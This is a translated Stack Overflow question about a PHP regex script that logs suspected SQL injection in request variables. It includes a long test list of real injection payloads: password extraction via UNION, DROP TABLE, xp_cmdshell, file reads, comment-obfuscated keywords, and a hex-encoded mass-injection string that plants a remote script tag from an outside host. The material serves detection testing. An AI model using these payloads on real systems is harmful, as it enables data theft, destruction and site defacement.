【发布时间】：2011-09-04 16:55:32
【问题描述】：
周末，我编制了一份正则表达式列表，用于检查 GET、POST 和 COOKIE 超级全局变量中的 sql 注入。众所周知，它们在检测是否发现 sql 注入方面非常有效。我已经在各种 sql 注入文档中看到过很多注入攻击，但 我正在寻找可能无法解释的更复杂的攻击。
我很清楚最好的防御方法是验证/清理输入和参数化查询，但是此脚本并非旨在保护，而只是记录潜在的攻击。我也知道这会在各种情况下产生误报，但由于它只是用于记录，这不是什么大问题。
检测脚本如下。
<?php
testArray($_GET);
testArray($_POST);
testArray($_COOKIE);
function testArray($array)
{
foreach ($array as $name => $value)
{
if(is_array($value) === true)
{
testArray($value);
}
else
{
testHelper($value);
}
}
}
function testHelper($varvalue)
{
$total = test($varvalue);
echo '<h3 style="'.($total > 0 ? 'color:red;' : 'color:green;').'">'.nl2br($varvalue).'</h3>';
echo '<span style="'.($total > 0 ? 'color:red;' : 'color:green;').'">';
echo 'total = '.$total.'
';
echo '</span><br />';
}
function test($varvalue, $_comment_loop=false)
{
$total = 0;
$varvalue_orig = $varvalue;
$quote_pattern = '\%27|\'|\%22|\"|\%60|`';
// detect base64 encoding
if(preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', $varvalue) > 0 && base64_decode($varvalue) !== false)
{
$varvalue = base64_decode($varvalue);
}
// detect and remove comments
if(preg_match('!/\*.*?\*/!s', $varvalue) > 0)
{
if($_comment_loop === false)
{
$total += test($varvalue_orig, true);
$varvalue = preg_replace('!/\*.*?\*/!s', '', $varvalue);
}
else
{
$varvalue = preg_replace('!/\*.*?\*/!s', ' ', $varvalue);
}
$varvalue = preg_replace('/\n\s*\n/', "\n", $varvalue);
}
$varvalue = preg_replace('/((\-\-|\#)([^\\n]*))\\n/si', ' ', $varvalue);
// detect and replace hex encoding
// detect and replace decimal encodings
if(preg_match_all('/&#x([0-9]{2});/', $varvalue, $matches) > 0 || preg_match_all('/&#([0-9]{2})/', $varvalue, $matches) > 0)
{
// replace numeric entities
$varvalue = preg_replace('/&#x([0-9a-f]{2});?/ei', 'chr(hexdec("\\1"))', $varvalue);
$varvalue = preg_replace('/&#([0-9]{2});?/e', 'chr("\\1")', $varvalue);
// replace literal entities
$trans_tbl = get_html_translation_table(HTML_ENTITIES);
$trans_tbl = array_flip($trans_tbl);
$varvalue = strtr($varvalue, $trans_tbl);
}
$and_pattern = '(\%41|a|\%61)(\%4e|n|%6e)(\%44|d|\%64)';
$or_pattern = '(\%6F|o|\%4F)(\%72|r|\%52)';
$equal_pattern = '(\%3D|=)';
$regexes = array(
'/(\-\-|\#|\/\*)\s*$/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*(\d+)\s*'.$equal_pattern.'\s*\\4\s*/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')(\d+)\\4\s*'.$equal_pattern.'\s*\\5\s*/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*(\d+)\s*'.$equal_pattern.'\s*('.$quote_pattern.')\\4\\6?/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')?(\d+)\\4?/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]*)\\4\\5\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
'/((('.$quote_pattern.')\s*)|\s+)'.$or_pattern.'\s+([a-z_]+)/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s+([a-z_]+)\s*'.$equal_pattern.'\s*(d+)/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s+([a-z_]+)\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*([a-z_]+)/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
'/('.$quote_pattern.')?\s*\)\s*'.$or_pattern.'\s*\(\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
'/('.$quote_pattern.'|\d)?(;|%20|\s)*(union|select|insert|update|delete|drop|alter|create|show|truncate|load_file|exec|concat|benchmark)((\s+)|\s*\()/ix',
'/from(\s*)information_schema.tables/ix',
);
foreach ($regexes as $regex)
{
$total += preg_match($regex, $varvalue);
}
return $total;
}
对于懒惰的人......这里有一些示例攻击。
testArray(array(
"' or 1=1--",
"' or 1-- ",
"' or 1-- adasd ",
"' or 1",
"\" or '1'",
"' or 1=1--",
"or 1=1--",
"' OR ''='",
"' or 'a'='a",
'" or "a"="a',
"') or ('a'='a",
"'; exec master..xp_cmdshell 'ping 10.10.1.2'--",
"'; EXEC master..sp_makewebtask \"\\10.10.1.3\share\output.html\", \"SELECT * FROM INFORMATION_SCHEMA.TABLES\"",
"10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--",
"10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--",
"' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='",
"' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '__w%') AND ''='",
"'OR''='",
"' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='",
"' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''='",
"' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''='",
"' OR (SELECT COUNT(*) FROM users)>10 AND ''='",
"' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='",
"' OR EXISTS(SELECT * FROM users WHERE name!='jake' AND name LIKE '%a%') AND ''='",
"' or '1'='1' -- '",
"' or '1'='1' ({ '",
"' or '1'='1' /* '",
"1;DROP TABLE `users`",
"10;DROP members --",
"x' AND email IS NULL; --",
"x' AND 1=(SELECT COUNT(*) FROM tabname); --",
"x' AND members.email IS NULL; --",
"x';
INSERT INTO members ('email','passwd','login_id','full_name')
VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--",
"x';
UPDATE members
SET email = 'steve@unixwiz.net'
WHERE email = 'bob@example.com",
"23 OR 1=1",
"23' OR 1=1",
"\''; DROP TABLE users; --",
"Bill O''Reilly",
"the new album'\"s and totally shit....get back to glasgow and write some good tunes.",
"the new album's and totally shit....get back to glasgow and write some good tune's.",
"the new album's and totally shit.....",
"lee crossan",
"\"123\"",
"111 /*This is my comment...*/UN/*Can You*/IO/*Find It*/N/**/ S/**/E/*
*/LE/*Another comment to*/CT/*Find. Can you dig*//*it*/*",
"1 UNION SELECT ALL FROM WHERE",
"1 UNION SELECT ALL FROM WHERE",
"71985' OR 1 = 1",
"71985 OR 1 = 1",
"71985 OR 1 =1",
"71985 OR 1=1",
"71985 OR 1= 1",
"71985' OR '1'= 1",
"71985 OR '1'= 1",
"71985 OR 1= '1'",
"71985 OR '5555",
"71985 OR '' = '",
"71985 OR '' = \"",
"71985 OR ' ' = \" ",
"71985 OR '_' = \"_",
"71985 OR user_id",
"71985 OR user_id=123",
"71985 OR user_id =123",
"71985 OR user_id ='asd",
"71985 OR 'asd' = user_id",
"71985 OR user_id = user_id",
"71985 OR 'a' = 'a",
"71985 OR 'a' = '",
"71985 OR 'a' = 'a';--",
"71985 OR 'a' = 'a';",
"preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', \$varvalue) > 0 && base64_decode(\$varvalue) !== false)",
'1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- ',
'ar/news/global/2008/12/16/radio_1_christmas_show',
'202534599.1295899315.1.1.utmcsr=xxx.xxx.de|utmccn=(referral)|utmcmd=referral|utmcct=/xxx/xxx/blog/dc11656b/',
'Aptly describes how a close-minded society can make a person feel. To think that this same society would target young adolescents is unconscionable. Thanks for the song.',
'; SELECT(xxxx) ',
'Aptly describes how a close-minded society can make a person feel. Thanks for the song.',
"';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);",
'; SELECT LOAD_FILE(0x633A5C626F6F742E696E69)',
'SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))',
'SELECT CHAR(75)+CHAR(76)+CHAR(77)',
'SELECT login || \'-\' || password FROM members',
'DROP/*comment*/sampletable',
';DR/**/OP/*bypass blacklisting*/sampletable',
';DR/**/OP/*bypass blacklisting*/ sampletable',
';DR/*
*/OP/*bypass blacklisting*/ sampletable',
';DR--
OP--
sampletable',
';DROP-- eranious data
TABLE --
sampletable',
'1;SELECT/*avoid-spaces*/password/**/FROM/**/Members ',
'SELECT /*!32302 1/0, */ 1 FROM tablename',
"' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--",
"1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055",
"-1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL-- ",
"11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- ",
"11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –- ",
",0 UNION ALL SELECT 1,'x'/*,10 ;",
"';shutdown --",
"(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')",
"BENCHMARK(howmanytimes, do this)",
"BENCHMARK (howmanytimes, do this)",
"1 union select benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1",
"this is not a attack but --
plain text comment that someone could write.
",
"what about this; or that or them!",
));
所以主要的问题是——你能否通过这个测试函数获得一个 sql 注入——如果是这样——它是什么？
【问题讨论】：
-
+1 指出它仅用于日志记录，并且您知道如何避免容易受到 SQL 注入攻击。
-
只是一个注释，记得递归检查
$_GET、$_POST和$_COOKIE，因为它们也可能包含数组。 -
好点卡洛斯。我将修改示例。
标签： php regex security sql-injection